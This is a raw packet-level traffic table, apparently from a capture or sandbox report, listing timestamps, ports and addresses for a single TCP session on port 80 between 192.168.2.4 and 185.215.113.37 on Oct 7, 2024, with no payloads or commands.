Oct 7, 2024 21:19:20.610435009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732564926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732656956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732691050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732738972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732742071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732775927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732779026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732803106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732811928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732841969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732850075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732872009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732877016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.732903004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.732923031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733058929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733114958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733234882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733292103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733411074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733464956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733611107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733644009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733678102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733680964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733702898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733710051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733726978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733757973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733762026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733793974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733814001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733828068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733844042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733860016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733882904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733894110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733908892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733927965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733946085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733962059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.733982086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.733999014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734015942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734050035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734082937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734116077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734143019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734164953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734210014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734261990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734400988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734431982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734466076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734486103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734512091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734523058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734556913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734591007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734618902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734626055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734638929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734664917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734736919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734766960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734790087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734800100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734818935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734833002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734850883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734882116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734882116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734915018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734947920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734957933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734982014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.734986067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.734997988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735011101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735028982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735047102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735064030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735097885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735215902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735245943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735276937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735277891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735295057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735327005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735416889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735450983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735470057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735495090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735511065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735537052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735560894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735569000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735603094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735610962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735631943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735631943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.735654116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.735683918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738493919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738526106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738559961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738567114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738579988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738593102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738610983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738626957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738641977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738658905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738677025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738694906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738707066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738724947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.738750935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.738775015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879596949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879668951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879688025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879705906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879735947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879740953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879760027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879777908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879791021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879811049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879831076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879848957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879880905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879906893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.879961014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.879997015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.880011082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.880032063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.880042076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.880065918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.880074024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.880114079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.901484013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.901520014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.901545048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.901762962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.901798010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.901814938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.924792051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924824953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924855947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.924875975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924890041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.924910069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924922943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.924947023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924958944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.924981117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.924995899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.925017118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.925023079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.925050974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.925067902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.925115108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.933995962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934012890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934063911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934096098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934112072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934148073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934168100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934168100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934181929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934200048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934218884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934230089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934252024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934267044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934299946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934317112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934350967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934366941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934386015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934397936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934427977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934439898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934483051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934509039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934536934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934561014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934568882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934586048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934603930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934622049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934653997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934657097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934689045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934701920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934724092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934736013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934771061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934815884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934845924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934868097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934880972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934887886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934926033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.934961081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.934993982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935010910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935026884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935043097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935060978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935075045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935107946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935117006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935137033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935153008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935169935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935203075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935204029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935231924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935257912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935369968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935417891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935431004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935444117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935475111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935477018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935489893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935513020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935539007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935545921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.935559988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.935662985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.004951000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.004983902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005017996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005018950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005050898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005067110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005067110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005094051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005265951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005314112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005319118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005353928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005366087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005398035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005405903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005439997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005453110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005472898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005482912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005506992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005518913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005542040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.005549908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.005588055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.018809080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.018837929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.018918037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.018978119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.050671101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.050725937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.050755978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.050760984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.050798893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.050798893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.050895929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.050930977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.050944090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.050972939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.051053047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.051096916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.051424026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.051475048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059161901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059238911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059314966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059348106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059370995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059393883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059500933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059533119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059552908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059567928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059572935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059603930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059612036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059638023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059643030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059670925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059681892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059705973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059715033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059748888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.059797049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.059839964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060009956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060043097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060060024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060075998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060085058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060110092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060120106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060154915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060178995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060214043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060226917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060246944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060255051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060290098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060328007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060360909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060372114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060393095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060405970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060435057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060501099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060533047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060550928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060573101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060581923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060606956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060616016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060652971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060657024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060689926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060702085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060723066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060731888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060758114 CEST	80	49730	185.215.113.37	192.168.2.4
